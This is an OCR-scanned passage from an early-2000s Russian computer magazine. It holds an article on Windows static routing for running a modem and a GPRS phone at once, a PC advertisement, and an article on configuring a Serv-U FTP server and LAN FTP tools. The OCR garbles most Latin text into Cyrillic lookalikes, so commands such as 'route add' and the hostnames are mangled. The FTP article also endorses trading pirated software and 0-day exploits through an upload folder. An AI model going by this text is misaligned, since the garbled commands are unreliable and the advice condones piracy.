ѴѴІпсіоѵѵз, точно так же, как 
и в любых *никсах, стати- 
ческий роутинг (то есть 
жесткие указания путей 
маршрутизации) настраи- 
вается, как ни странно, ко- 
мандой "гоиіе" :). Чтобы 
получить текущую таблицу 
маршрутизации, открой 
командную строку и введи 
"гоиіе ргіпі" (кстати, того 
же можно добиться коман- 
дой "пеізіаі -г"). Если в это 
время ты подключен к Се- 
ти по модему, то, скорее 
всего, увидишь что-нибудь 
похожее на рисунок 1 . 

Адреса, начинающиеся 
на 1 27 - это ІоорЬаск ин- 
терфейс, и он нас совершенно не интересует, 
224.0.0.0 - это мультикастовые запросы, ко- 
торые нас не интересуют тем более, а вот все 
остальное мы, пожалуй, рассмотрим сейчас 
повнимательней. 

Как ты уже, вероятно, знаешь, каждая 
строка соответствует записи в таблице марш- 
рутизации и указывает, что на определенный 
узел (первый столбец), находящийся в опре- 







двойной онлайн 



деленной подсети (маска - второй столбец), 
пакеты идут через указанный роутер (третий 
столбец), находящийся на заданном интер- 
фейсе (четвертый столбец). Пятый столбец с 
метрикой определяет "приоритет" данного 
маршрута и нам с тобой не понадобится. 

Первая строка с адресом 0.0.0.0 задает ос- 
новной шлюз, передающий данные на любой 
адрес, маршрут до которого не задан непос- 
редственно в таблице. Адресу шлюза соотве- 
тствует клиентский ІР соединения РРР (в 
Ѵ\/іпХР/2к он указывается на вкладке "Сведе- 
ния" окна состояния соединения, а в ѴѴіпЭх 
его можно узнать с помощью команды 
ѵѵіпірсід). Так и учти на будущее - в таблице 
роутинга при РРР-соединении путь прописы- 
вается через его клиентский адрес. Суть в 
том, что у нас образуется туннель "клиент- 
РРР -> сервер-РРР" (обрати внимание на 
третью строку таблицы - маска 
255.255.255.255 в ней и означает туннельное 
соединение), и для корректной работы марш- 
рута необходимо указывать "вход" в туннель с 
нашей стороны. Хотя в итоге через туннель 
соединение выходит на сервер, который ре- 
ально и является шлюзом. 
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Рис.2. Последнее из соединений (в данном случае - 
мобильник) становится основным шлюзом, и, естест- 
венно, через остальные данные вообще не идут 



Если же ты прямо сейчас подрубишь, кро- 
ме модема, еще и мобильник, то картина по- 
лучится примерно как на рисунке 2. 

Ужас. Но самое главное - в двух первых 
строчках таблицы, как видишь, появились 
два основных шлюза, которые и создают не- 
разбериху. Лечится это очень просто - отк- 
рывай свойства СРНЗ-подключения и там, на 
вкладке "Сеть", в свойствах протокола ТСР/ІР 
в окне "Дополнительно" снимай галочку "Ис- 



пользовать основной шлюз в удаленной се- 
ти". Теперь можешь подключаться к инету с 
модема и мобилы одновременно - данные 
плавно потекут по диалапу, в чем ты убе- 
дишься, посмотрев в статистику соответству- 
ющего соединения (или на его мигающую 
иконку в трее :)). А при чем тут двойной он- 
лайн? Сейчас увидишь... 

А разруливаем донные 

Если ты запустишь "гоиіе" без параметров, то 
получишь весь список возможных команд и 
опций. В данный момент нас интересует ко- 
манда АОЭ, позволяющая задать маршрут до 
определенного узла. Если точнее, мы будем 
"пускать" комп на определенные адреса по 
мобиле, а не по модему. К сожалению, коман- 
да "гоиіе абб" не умеет сама запрашивать 
□N5 и выяснять ІР хоста, так что придется де- 
лать все руками: 

О. Щелкни на иконке СРР5-соединения в 
трее и на вкладке "Сведения" посмотри адрес 
клиента. 

в. Введи в командной строке "пзіоокир 
<символьное_имя_узла>", чтобы получить его 
ІР-значение. Скажем, на "пзіоокир іогит.ги- 
Ьоагб.сот" ты получишь в ответ ІР 
207.44.160.93. 

О. А теперь командуй "гоиіе абб <полу- 
ченный_ІР_узла> <адрес_кпиента_РРР_соеди- 
нения>". В случае с тем же Тогит.ш-Ьоагб.сот и 
данными с последнего скриншота - "гоиіе абб 
207.44.160.93 10.20.48.62". 

Вот, в общем-то, и все. Теперь доступ на 
узел будет осуществляться по ОРВ5, в чем 
ты можешь сразу же убедиться, посмотрев 
на огромные значения ріпд'а или сделав 
Ігасегоиіе до узла. Если ты любишь ходить на 
один и тот же сайт (допустим, в родной чат), 
то имеет смысл прописать его ІР в файле 
С:\ѴѴІМООѴѴ5\зузІет32\бгіѵегз\е1с\пе1ѵѵогкз 
(если у тебя не ѴѴІпбоѵѵз ХР, то этот файл ле- 
жит в других каталогах - сделай поиск по 
\ѴѴІІ\ЮОѴѴ5, и ты сразу его найдешь) - тогда в 
качестве параметра для гоиіе абб ты смо- 
жешь использовать имя узла. 



понятие моршрутизоции 

О пытные "сетевики" могут эту врезку пропустить, а всем ос- 
тальным спешу сообщить, что маршрутизация (или проще - 
роутинг) представляет собой передачу информации по сети от 
отправителя к получателю, когда в этом процессе участвует как 
минимум один промежуточный узел. Главным этапом роутинга 
является определение оптимальных путей передачи пакетов 
данных, и ключевую роль здесь играет информация о следую- 
щем роутере на данном маршруте. Грубо говоря, для того что- 
бы передать данные с адреса 1 0. 1 0. 1 . 1 0 на 10.10.2.10 (при ус- 
ловии, что первый компьютер не имеет доступа в подсеть вто- 
рого), необходимо знать адрес роутера (например, 10.10.1.1), 
имеющего выход во вторую подсеть - он -то и будет осущес- 
твлять пересылку данных. 

Не углубляясь в теорию, следует сказать, что типичный юзерс- 
кий комп обычно "знает" только один роутер, через который и 
осуществляются все соединения - так называемый "беіаиіі 
даіеѵѵау" или "основной шлюз", в терминологии ѴѴІпбоѵѵз. В ло- 
калке инфу о нем выдает ОНСР (или если его нет, что плохо, то 
прописывается вручную в свойствах ТСР/ІР), а при РРР-соеди- 
нении (т.е. тот же модем и мобильник) - сервер доступа, кото- 
рый сам и является основным шлюзом. 



В общем, как настроить линк на обычный 
сайт ясно, а вот что делать с аськой? Ведь 
именно ради нее любимой мы все это и заму- 
тили... На самом деле все практически так же, 
проблема только в том, что "Іодіп.ісд.сот" имеет 
несколько ІР-адресов и перекидывает пользо- 
вателя туда, куда ему захочется. И по команде 
пзіоокир выдается примерно такой список: 
64.12.161.185, 64.12.200.89, 205.188.179.233, 
64. 1 2. 1 61 . 1 53. Вставить все это в роутинг 
проще всего, используя маску: 

гоиіе Ш 64.12.0.0 тазк 255.255.0.0 10.20.48.62 
гоиіе абб 205.188.0.0 тазк 255.255.0.0 10.20.48.62 



Таким образом - выделив маской только по- 
ловину адреса - мы будем роугить на мобилу 
весь трафик в подсети 64.12.*.* и 205.188.*.*. 
Впрочем, аська может решить законнектиться 
на другие адреса, поэтому для гарантии стоит 
проконтролировать этот процесс каким-нибудь 
сетевым монитором или файрволом - чтобы 
узнать, куда перенаправляет тебя асечный сер- 
вер, внести адрес этой подсети (для гарантии) 
в таблицу маршрутов и приконнектиться снова. 

И еще: не забудь покопаться в настройках 
своего асечного клиента, чтобы включить пе- 
редачу сообщений только через ІСО-сервер - 
иначе, если основной шлюз не прописан, ты 
не сможешь ничего отправить. 



А ПОДВЕДЕН ИТОГИ 

Тебе не составит труда обучиться несложным 
премудростям настройки роутинга. Как я уже 
говорил, соединения полностью независимы - 
ты можешь отключать и подключать их когда 
угодно и в любом порядке. Например, нес- 
ложно реализовать схему, при которой ты 
весь день сидишь по мобиле в аське, а ТІтеВаі 
периодически сам дозванивается модемом до 
провайдера и сливает почту, никак не влияя 
на этот процесс. А если ты подключен к ло- 
калке, то никто не мешает тебе быстро найти 
нужный файл, узнать ІР узла, где он лежит, а 
потом дозвониться модемом, прописать до 
него маршрут и спокойно слить ВеСеі'ом... 

Одним словом, возможные варианты за- 
висят исключительно от твоей фантазии. А 
чтобы все исправно работало, главное пом- 
нить, что основной шлюз всегда должен 
быть один (кстати, если какое-то "шальное" 
соединение добавило лишний беіаиіі даіе- 
ѵѵау, ты можешь спокойно удалить его ко- 
мандой "гоиіе беіеіе 0. 0.0.0 <шлюз>"). 

К сожалению, никто до сих пор не додумался 
написать простую утилиту, позволяющую управ- 
лять роугингом через графический интерфейс, 
а не из командной строки. На такое способны 
некоторые "большие" программы, типа 
ѴѴІпВоиІе или Кегіо РегзопаІ РігеѵѵаІІ, но для 
быстрого и удобного манипулирования маршру- 
тами это не самое лучшее решение... Так может 
быть, ты сам попробуешь создать эту уникаль- 
ную и нужную всем программу? В любом слу- 
чае, я надеюсь, что инфа из этой статьи тебе 
пригодится. Желаю успехов в деле маршрутиза- 
ции и создания многолинейных линков! 
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Рис.З. Таблица роутинга в Кегіо РегзопаІ РігеѵѵаІІ 
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Компьютер ЭКСИМЕР™ Ноте РеіТотапсе на 

базе процессора ІпТеІ® РепТіит® 4 с 
технологией Нурег-ТМгеасІіпд работает быстрее, 
чем вы ожидаете. 





Розничные продажи в Москве: 

М. ВИДЕО (095) 777-777-5, 8-800-777-777-5; Мосмарт (095) 783-85-20, 
783-85-21 ; Техносила (095) 777-8-777; МИР (095) 780-0000; 

Профком (095) 928-96-98, 928-79-70; Эльдорадо (095) 5-000-000. 
Дистрибуторы: компания Инлайн — г.Москва (095) 941-6161, 

ЗАО "Элком Сервис" — г.Сургут (3462) 31-19-91, г.Нефтеюганск 
(34612) 2-47-03, г.Ханты-Мансийск (34671 ) 3-44-84 
Более 400 дилеров по всей территории России. 

Адрес ближайшего на ѵѵѵѵѵѵ.і2Ь.ги 



ѵѵѵѵѵѵ . ехс і т е г . со пл 
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Сервисное обслуживание техники ЭКСИМЕР™ на территории РФ осуществляется НТЦ «Юнисерв» 



Спецификация и внешний вид оборудования могут быть изменены, выпуск продукции может быть прекращен в одностороннем порядке без какого-либо предварительного уведомления. Указанная информация может использоваться исключительно для заказа продукции ЭКСИМЕР™ у партнеров и не является офертой, 





Компьютер ЭКСИМЕР™ Ноте Рег^отапсе предлагает великолепную 
производительность для поддержки трехмерных компьютерных игр и 
действительно реалистичное воспроизведение звука с помощью системы РоІЬу 
ОідНаІ. Оснащенный мощным процессором Іпіеі® Репііит® 4 с технологией 
Нурег-ТІігеасІіпд компьютер ЭКСИМЕР™ Ноте РеНотапсе сможет быстро 
выполнить одновременно несколько задач. Так что теперь Вы сможете 
приняться за игру быстрее. 




Іпіеі, Іпіеі Іодо, Іпіеі Іпзісіе, Іпіеі Іпзісіе Іодо, Іпіеі Сепігіпо, Іпіеі Сепігіпо Іодо, Сеіегоп, Іпіеі Хеоп, Іпіеі ЗреесІЗіер, Капіит, Репііит, и Репііит III Хеоп являются товарными знаками или 
зарегистрированными товарными знаками Іпіеі Согрогаііоп или ее отделений в США и других странах. 

Эксимер ДМ рекомендует Місгозоіі® ѴѴіпсіоѵѵз® ХР . На компьютеры ЭКСИМЕР™ устанавливаются подлинные продукты семейства Місгозоіі® ѴѴІпсІоѵѵз®. Гарантией качества и сервисной поддержки 
приобритаемых вами продуктов Місгозой® является наличие сертификата подлинности (Сегіііісаіе оі Аиіііепіісііу). 




И прошлом номере мы рассматривали процесс создания расшаренных ресурсов и обеспечения их должным уровнем безопасности. 
Сегодня мы пойдем дальше - организуем грамотную раздачу файлов по покапке, используя собственный файловый сервер, 
а заодно познакомимся с несколькими полезными ГТР-утипитами. 



УТИЛИТЫ ДЛЯ РОБОТЫ С РТР 

^ о оно нон надо? 

оздание собственного РТР- 
сервера оправдано в тех слу- 
чаях, когда ты хочешь устроить 
на своей машине серьезный 
"файлораздаточный пункт". 
Большинству юзеров это на 
фиг не нужно - они просто 
скидывают любопытное (по их 
мнению) файло в одну папку и открывают ее 
для свободного доступа. Вопросы безопас- 
ности, надежности и удобства администри- 
рования их нисколько не волнуют, а потреб- 
ности в дополнительных фишечках (типа ра- 
боты по расписанию, поддержки виртуаль- 
ных папок и удаленного управления ресур- 
сом) они не испытывают. Поэтому нет ниче- 
го удивительного в том, что владельцы фай- 
ловых серверов в любой локальной сети сос- 
тавляют привилегированное меньшинство. 
Почему "привилегированное"? Ну сам поду- 
май, что солидней звучит: "хозяин расша- 
ренной папки" или "владелец РТР-сервера"? 
:) Впрочем, шутки в сторону! 

Если спросить у любого завсегдатая ва- 
резных сайтов, какой софт лучше всего зато- 
чен под удобную, широконастраиваемую и 
эффективную раздачу файлов, то в ответ ты 
чего только не услышишь. Тем не менее, 




название одной проги 
будет наверняка зву- 
чать значительно чаще 
других. Позволь 
представить - 5егѵ-1). 

Спешу заверить, что 
опытные товарищи со- 
ветуют его не шутки 
ради и даже не в це- 
лях рекламы. Просто 
это действительно са- 
мый продвинутый 
РТР-сервер с кучей 
полезных в быту наст- 
роек и вместе с тем 
невероятно приятный 
в использовании. 

Я сам юзаю исключи- 
тельно его - два года стабильного "полета" 
на рабочем компьютере, никаких нареканий. 



Л урок анатомии 



Зегѵ-У состоит из двух отдельных и, в прин- 
ципе, абсолютно независимых друг от друга 
частей: движка и административного интер- 
фейса. Первая часть является чем-то вроде 
"сердца" утилиты (так называемым демо- 
ном), без которого программа теряет всякий 
смысл. Именно она обрабатывает и выпол- 




няет команды, поступающие от подсоеди- 
нившихся клиентов. Вторая же часть служит 
своего рода посредником между сервисом и 
админом - с ее помощью осуществляется 
настройка и управление РТР-сервером. 




Процесс установки программы обычно 
проходит без проблем. Могу дать хороший 
совет: если устанавливаешь Зегѵ-У впервые, 
то лучше ничего не трогай и тупо жми на 
кнопку ІМехб И без твоего вмешательства все 
по умолчанию установится в лучшем виде ;). 
В случае установки на ИТ-базеб операцион- 
ную систему, серверная часть программы 
сразу же начнет свою работу в качестве сер- 
виса, который будет автоматически запус- 
каться при загрузке системы. 

Для контроля над серверной частью, 
как и говорилось ранее, применяется специ- 
альный административный интерфейс. Что- 
бы добраться до него, дважды кликни по по- 
явившейся после установки кислотно-зеле- 
ной иконке в трее. Обилие опций и вкладок 
поначалу пугает, но когда освоишься, то 
поймешь, что интерфейс программы реали- 
зован весьма разумно. В крайнем случае, ты 
всегда можешь пойти на ѵш.4ги.іп(о/$егѵІІ.ІіІт 
и скачать оттуда патч-русификатор. 

Л ПРИСТУКНЕМ К НПСТРОЙКЕ 

Облегчить освоение 5егѵ-ІІ поможет специ- 
альный мастер, который стартует параллель- 
но с основной программой. Именно он про- 
изведет первоначальную настройку файлово- 
го сервера. Первые вопросы мастера, воз- 
можно, покажутся тебе бредовыми. Не вол- 
нуйся - они и в самом деле бредовые :). 
Бесхитростно кликай по кнопке №хІ до тех 
пор, пока не появится окно с заголовком 
Уоиг ІР абсігезз. Сделал? Отлично. 

Теперь, перед тем как продолжить, я дол- 
жен сообщить тебе, что с помощью этой 
проги ты можешь замутить не один РТР-сер- 
вер, а сразу несколько. Эти виртуальные 
серверы в Зеіѵ-ІІ называются доменами. Ес- 
тественно, любой из доменов имеет свою 
собственную систему юзеров, пользова- 
тельских групп, разрешений и т.д. 



Наша цель на сегодня - сконфигурировать 
один такой домен. На первых порах, я ду- 
маю, тебе этого хватит. 

После появления вышеупомянутого окна 
начинается процесс создания домена. Первый 
его шаг - указание ІР-адреса РТР-сервера. Ес- 
ли ты его не знаешь (детям давно пора спать!) 
или имеешь динамический (назначается ли он 
диалап-провайдером или ЭНСР-сервером - не 




к. 



имеет значения), оставь это поле пустым. 
Зегѵ-ІІ в любом случае сможет самостоятель- 
но его определить. Затем прога потребует 
ввести имя домена - вводи что захочешь, т.к. 
это имя все равно будет отображаться лишь в 
административном интерфейсе. 

На следующем этапе мастер спросит о 
том, разрешаешь ли ты доступ к своему РТР 
неидентифицированным (анонимным) юзе- 
рам. То есть тем, кто в качестве логина ис- 
пользуют слово "Апопутоиз", а в качестве па- 
роля свой е-таіі (на практике - что угодно). 
Отвечай на свое усмотрение, исходя из кон- 
цепции того, что ты в конечном итоге хочешь 
получить - приватную станцию или огромный 
файлообменник. К моему домашнему РТР- 
серверу доступ всегда был свободным. Дру- 
гое дело, что анонимные пользователи имеют 
весьма ограниченный простор для деятель- 
ности: чуток доступных для закачки фильмов, 
немного музыки и дистрибутивов, а также 
папку для аплоада. Сплетни по локалке рас- 
ходятся мгновенно, поэтому каждый "вирту- 
альный сосед" знает, что если зальет что-то 
поистине стоящее, то получит куда более ла- 
комый кусочек. Такие вкусности, как ЭіѵХ-ви- 
део, свежий варез и О-бау эксплойты, нас- 
только сильно манят любителей халявы, что 
размеры папки для аплоада увеличивается 
астрономическими темпами. Схема проста 
как три копейки, но зато как действенна! 

Если ты все же решишь создать гостевой 
аккаунт, то открывшееся окно предложит 
указать путь к домашней директории ано- 
нимных пользователей (задай, например, 
РДРТР). Домашняя директория обозначает 
папку, с которой юзер начинает свое путе- 
шествие вниз по иерархии каталогов. Выше 
выходить, как правило, запрещено (думаю, 
даже ежу понятно - почему), но в случае не- 
обходимости доступ может быть открыт. Для 
этого достаточно снять галку напротив опции 
Ьоск апопутоиз изегз іп ібеіг (юте бігесіогу. 

Последний этап визарда - создание учет- 
ной записи авторизированному пользовате- 
лю. Повторяться не буду: опции и настройки 
те же самые, что и у анонимного. Един- 
ственное отличие - графа Ргіѵііеде, которая 
определяет юзерские права на удаленное 
администрирование. Если ты создаешь акка- 
унт для себя (что более чем вероятно), то 
целесообразно выдать ему все имеющиеся 
разрешения, т.е. выбрать Зузіет 
Абтіпізігаіог. Иначе лучшим вариантом од- 
нозначно является значение по умолчанию - 
N 0 ргіѵііеде. 

.і отладка и доводка 

При правильном раскладе в ветке Эотаіпз 
дерева, находящегося в левой части окна 
5егѵ-1), должен появиться новый пункт - наз- 
вание созданного виртуального файлохрани- 
лища. Последнее, фактически, уже вполне 
работоспособно, но его предстоит еще нем- 
ного помучить ;). Кликни по его названию в 
дереве - в правой части окна появится одна- 
единственная вкладка Эотаіпз. Здесь зада- 
ется используемый доменом порт (на один- 
то всех не посадишь), степень защищеннос- 
ти канала во время передачи имен пользова- 
телей и их паролей (другими словами, оп- 
ция, активирующая шифрование на уровне 
551-/Т51-), а также производится банальное 
включение/выключение домена. Опция 
Эотаіп Туре, также присутствующая в этом 



ОСНОВНЫЕ КОННИЦЫ 

К расивый удобный интерфейс - большое дело! Однако любой 
продвинутый товарищ должен уметь работать и со стандарт- 
ным консольным РТР-клиентом (он есть и в ѵѵіпбоѵѵз, и в *піх- 
Ьазесі системах). Конечно, это невозможно без знания элемен- 
тарных команд РТР-протокола: 

л ореп имя_сервера - коннект к серверу 

л с (Л имя_директории - сменить каталог 

а <Ліг - выдать список файлов 

а де* имя файла [имя локального файла] - скачать файл 

а риі имя файла [имя_удаленного_файла] - залить файл на сер- 
вер 

а азсіі - устанавливает азсіі-способ передачи файлов. Исполь- 
зуется для пересылки текстовых файлов 

а Ьіпагу - устанавливает двоичный способ пересылки файлов. 
Рекомендуем 

а Неір - справка 

а сіозе - закрыть соединение с сервером 
а диі * - выход из РТР-клиента 

Если ты работаешь в виндах, кликни "Пуск", выбери "Выпол- 
нить", набери "РТР", нажми "ЕпТег" и потренируйся :). 




а Судя по статис- 
тике, дырки в РТР- 
серваках находятся 
довольно часто. 
Отсюда мораль: не 
забывай своевре- 
менно проверять 
домашнюю страни- 
цу разработчиков 
на наличие обнов- 
ления или патчей, 
а также старайся 
время от времени 
просматривать ло- 
ги сервера. 




л Если в твоей ло- 
калке простаивает 
какой-нибудь 
компьютер - стоит 
подумать об орга- 
низации коллек- 
тивного РТР-серве- 
ра на основе все 
того же $егѵ-У. 
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лючений (эта настройка находится неподале- 
ку), дабы оголодавшие соседи по локалке не 
снесли к чертям твой РТР-сервер сразу же 
после его появления в сети... 

другие вкподки: 



ІР Асеева - позволяет редактировать чер- 
ный список, ограничивающий доступ к РТР- 
серверу с заданных диапазонов ІР-адресов 
(нечего юзерам из соседней локалки здесь 
делать - все равно ничего не заливают). 

Мевзаде - определяет сообщения, пере- 
дающиеся пользователю во время его обще- 
ния с РТР. Сомнительная польза - никогда не 



■Ж* 

л Зегѵ-ІІ 5.0 
Размер: 3,8 Мб 
ЗІіагеѵѵаге 
ѵѵѵѵѵѵ. зегѵ-и. сот 
а СиІеРТР 6.0 
Размер: 8,3 Мб 
ЗІіагеѵѵаге 
ѵѵѵѵѵѵ. сиіеіір. сот 
а ЬапЗсоре 2.7 
Размер: 1,2 Мб 
Ргееѵѵаге 

ѵѵѵѵѵѵ. Іапігіскз.сот 
а $ирег РірЗеагсН 
3.3 

Размер: 709 Кб 
Ргееѵѵаге 

ѵѵѵѵѵѵ. Іеѵозоіі. сот 
А РІрІпГо 1.6.4 
Размер: 887 Кб 
Ргееѵѵаге 
ѵѵѵѵѵѵ. таз- 
зоІі.пт.ги/КріпІо 



окне, позволяет выбрать место хранения 
конфигов виртуального сервера (в реестре 
оси или во внешнем .ІІМІ файле). 

Разобрался? Тогда следующий шаг: пере- 
ходим в раздел Зейіпдз твоего домена. Не 
спутай с глобальными настройками - их лучше 
оставить как есть, т.к. все они очень специ- 
фичны и изначально хорошо оптимизированы. 

СепегаІ - первая и, пожалуй, самая по- 
лезная вкладка. С ее помощью можно заму- 
тить так называемый "мапинг" папок. Что 
это такое? Ну, предположим, каталог РДРТР 
является домашней директорией для какой- 
то группы пользователей. И ты хочешь поло- 
жить в эту директорию, скажем, сотню-дру- 
гую фильмов. Что делать? Тупо копировать 
дикие объемы, одновременно стуча головой 
об стол, стараясь придумать, как бы освобо- 
дить под них место? Нет! Ты просто нахо- 
дишь панель Ѵігіиаі раШ тарріпдз и жмешь 
на кнопку Абб. В первом окне указываешь 
физический (реальный) путь к тому месту, 
где у тебя хранятся фильмы, в следующем - 
домашнюю директорию (РДРТР), и, наконец, 
в последнем - имя виртуальной папки (к 
примеру - Ѵібео). Все! Ты создавал свою 
первую виртуальную папку, которая будет 
казаться юзерам подкаталогом корневой ди- 
ректории, хотя физически по-прежнему бу- 
дет располагаться совершенно в другом 
месте (к примеру, на другом логическом 
диске, винчестере или даже компьютере). 

А п кпк же наши прпва? 

Начинаешь понимать плюсы использования 
РТР-сервера? :) Тем не менее, не спеши ра- 
доваться - всему этому хозяйству еще 
предстоит расставить права, но об этом чуть 
позже. Сейчас же не поленись указать мак- 
симальное количество одновременных подк- 




трогал... 

І.оддіпд - широкие настройки выходного 
файла логов. 

Ш./ОІ. Каііоз - список ресурсов для 
"бесплатного" скачивания. Возникает зако- 
номерный вопрос - а что, все остальные 
платные? Нет, но для каждого юзера имеет- 
ся возможность установить специальную 
квоту "п залил - т можешь скачать" (скажем, 
3 к 1 ). Так вот указанные в этой вкладке до- 
кументы под это ограничение не попадают. 

Ползем дальше - дошла очередь до опре- 
деления пользовательских аккаунтов и их 
групп. Лично я изначально юзеров не пропи- 
сываю, зато создаю несколько групп: для се- 
бя, друзей, для владельцев других РТР'шни- 
ков и для всех остальных. Поверь, это значи- 
тельно удобнее, т.к. впоследствии настройка 
параметров каждого нового юзера сведется 
к вводу его логина и пароля, а также указа- 
нию группы, права которой он получает. 

Организация пользовательских "семейств" 
производится в разделе Огоирз. Все что 
нужно - это ввести имя новой группы, отре- 
дактировать черный список ІР-адресов и 
расставить разрешения на расшаренные ка- 
талоги. Последнее выполняется через вклад- 
ку Эіг ассезз. Главное - не забудь о домаш- 
ней директории и виртуальных папках, иначе 
оставишь своих юзеров с носом. Важно так- 
же проверить, активизирована ли опция 
Іпбегіі, распространяющая разрешения ре- 
сурса на все входящие в нее поддиректории. 

Что касается процесса создания новой 
пользовательской учетной записи (записей), 
то и он ничуть не затейлив. Если включить ак- 
каунт в одну из имеющихся групп, то разре- 
шения выставлять уже не потребуется. Но за- 
то, так или иначе, можно будет указать квоты 
на используемое дисковое пространство, 

ввести ограничение "ска- 
чал-залил" (у нас тут, 
типа, файловый сервер, 
а не какая-то расшаренная 
папка, из которой все 
только тащат, но никто 
ничего не дает! :)), а так- 
же отредактировать значе- 
ния несколько общих 
настроек в СепегаІ. 

Самые интересные из них: 




Полностью настроенный 
виртуальный сервер 




Кецшге зесиге соп- 
песііоп - устанавливает 
жесткое требование защи- 
щенного соединения. 

АІѵѵауз аііоѵѵ Іодіп - 
разрешает вход пользо- 
вателю, если достигнут 
потолок (предел) количе- 




Интегрированные в файло- 
вые оболочки РТР-клиенты 




ства одновременно работающих с сервером 
юзеров. 

АІІоѵѵ опіу X Іодіп(з) Ггот ІІіе зате ІР 
аббгезз - ограничивает число подключений 
(потоков) для скачки. 

На этом все - продукт готов к использова- 
нию. Как видишь, на то, чтобы сконфигуриро- 
вать и запустить собственный РТР-сервер, 
требуется не более 15 минут. Мониторинг его 
работы осуществляется из пункта Асііѵііу, по- 
этому ты всегда будешь в курсе, кто и что де- 
лает с твоим РТР'шником. При желании неп- 
рошенных гостей можно в момент отключить, 
а особо гадких и вовсе прописать в ВАМ-1_ІЗТ. 
Впрочем, с системой контроля, мне кажется, 
ты и сам без труда разберешься. 

А СПГП ОБ ІТР-КПИЕНТПХ 

Итак, предположим, твой собственный фай- 
ловый сервер работает как часы. Самое вре- 
мя нанести визит соседям - таким же, как ты, 
владельцам персональных РТР'шников. А зна- 
чит - без хорошего РТР-клиента не обойтись. 

Само собой, соответствующие функцио- 
нальные модули встроены во все популяр- 
ные менеджеры файлов (в ТоіаІ Сотшапсіег 
и РАВ они точно есть!). Но, увы, в них отсут- 
ствует целый ряд возможностей, которые 
могут понадобиться привередливому юзеру. 

Лично я, будучи давним фанатом СиІеРТР, 
уверен, что эта софтина совершенна, и ни- 
чего лучшего быть просто-напросто не мо- 
жет :). Ее многооконный интерфейс, для 
каждого из окошек которого отображается 
отдельная панель со списком локальных и 
удаленных ресурсов, позволяет удобно рабо- 
тать сразу с несколькими РТР'шниками. 

Разумеется, прога совместима со всеми 
популярными защищенными протоколами 
передачи данных, включая 55Н2, 551 
(Ітріісіі, Ехріісіі апб Л5), НТТР5 и ОТР. И в 
ней отлично реализована поддержка прокси, 
соксов и портмапинга, которая частенько по- 
могала мне оставаться инкогнито. Я уже не 
говорю о встроенном планировщике заданий 
и возможности докачивать файлы после об- 
рыва соединения. Впрочем, это по большо- 
му счету стандартные, хотя и реализованные 
на все сто и один процент функции. 

Имеются у СиІеРТР и кое-какие дополни- 
тельные фенечки. Функция автоматической 
синхронизации локальной папки с удален- 
ным каталогом здорово упростила мне 
жизнь в те веселые времена, когда я зани- 
мался своим собственным веб-проектом. 
Другая хитрая функция - 5тагі Кеер АІіѵе - по 
первому требованию юзера начинает эмули- 
ровать на РТР'шнике пользовательскую ак- 
тивность, терпеливо посылая различные ко- 
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РТР поп КОНТРОЛЕН 




манды со случайным промежутком времени. 
Так что тебе больше не придется подсоеди- 
няться к серверу по сто раз в день лишь из- 
за постоянных дропов по таймауту. Помимо 
этого, я всегда тащился от технологии 5і1е- 
То-Зііе ТгапзТегз (ака РХР), которая позволяет 
перебросить файло с одного РТР на другой 
без непосредственного скачивания к себе на 
винт. А ведь еще СиТеРТР умеет выполнять 
автоматическое архивирование, переимено- 
вание и резервное копирование документов 
на этапе их передачи, а также может похвас- 
таться встроенным НТМ 1-редактором. 

А ИЩЕМ ФПЙПЫ И РПБОЧИЕ 
РТР'ШНИКИ 



При желании можно 
прочесать локалку, ис- 
пользуя встроенные (но 
изменяемые) критерии - 
видео, игры, картинки, 
музыка, программы. Од- 
нако искать отдельные 
файлы по ключевым сло- 
вам І_ап5соре, к великому 
сожалению, не умеет. Ну 
и ладно, тем более что 
для этих целей я держу у 
себя на машине другую 
утилиту - Зирег 
РІрЗеагсб. 

Несмотря на присут- 
ствие в названии позорно- 
го клейма "Зирег", эта 
прога выполнена весьма 
добротно. Единственная цель программы - 
расширенный поиск файлов и папок на прос- 
торах заданных в настройках РТР-ресурсов. 

Что значит расширенный? А то, что Зирег 
РІрЗеагсб способна искать как отдельные доку- 
менты, так и папки (или что-то одно), просмат- 
ривать поддиректории или не учитывать их, 
игнорировать каталоги, занесенные в черный 
список, принимать во внимание дату создания 
и размер ресурса. Жаль только, что выходной 
файл (отчет) І_ап5соре'а не может быть импор- 
тирован ЗирегЗеагсб'ем, и все РТР-адреса при- 
ходится вводить вручную. Это, пожалуй, един- 
ственный недостаток этой связки. 

А МОНИТОРИНГ ИЗМЕНЕНИЙ 



В любой локалке точно найдется если не де- 
сяток, то уж, по крайней мере, пяток РТР- 
серваков. Ясен перец, о существовании не- 
которых из них ты можешь даже не знать. 

А это неправильно. Не случайно же продви- 
нутые товарищи регулярно прибегают к ус- 
лугам программ для автоматизированного 
поиска рабочих файлохранилищ. Наиболее 
подходящим инструментом для этой работы 
однозначно является маленькая программка 
1_ап5соре. Изначально эта софтина предназ- 
началась для поиска расшаренных ресурсов, 
но впоследствии изрядно преобразилась и 
сейчас, помимо всего прочего, способна от- 
лавливать и работающие РТР'шники. Просто 
запусти прогу, укажи диапазон ІР-адресов 
своей сети, и через считанные секунды ты 
получишь подробнейший отчет обо всех 
имеющихся ресурсах. 




Предположим, ты нашел в сети интересные 
РТР'шники и наладил дружеские отношения 
с их владельцами на взаимовыгодных усло- 
виях. И тогда тебе придется столкнуться с 
неожиданной проблемой: сетевые хранили- 
ща файлов частенько обновляются, при этом 
отследить все последние поступления вруч- 
ную невозможно. Поэтому, если ты не хо- 
чешь каждый раз последним узнавать о по- 
явлении в локалке свежего фильма или аль- 
бома, советую тебе и на этот случай воору- 
житься подходящим софтом. Рекомендую 
обратить внимание на замечательную утили- 
ту Ріріпкэ, которую, кстати, так же как и 
1_ап5соре, разработал наш соотечественник. 

То, что указанная тулза предназначена 
для масштабных мероприятий, становится 
ясно уже после нескольких минут общения. 

Работа с РірІпТо начинается, прежде все- 
го, с генерации списка изучаемых файловых 
серверов. Будешь ли ты вбивать его вруч- 
ную, импортировать из текстового файла 
или воспользуешься встроенным сканером - 
не имеет значения. После того как список 
готов, необходимо указать параметры 
РТР'шников (логин и пароль, порт, корневой 
каталог для сканирова- 
ния и т.п.). В самом об- 
щем случае вся настрой- 
ка сводится именно к 
этому. Далее остается 
лишь нажать на заветную 
кнопку "Начать проверку" 
и ждать результатов. Это 
недолго. Появившееся 
окошко покажет все из- 
менения, которые пре- 
терпели файлохранили- 
ща с момента последне- 
го осмотра. Причем ре- 




зультаты проверки выводятся не абы как, а в 
аккуратной таблице, где каждый пункт раск- 
рашивается в зависимости от своего типа 
(удалено, появилось и т.д.). С такой софти- 
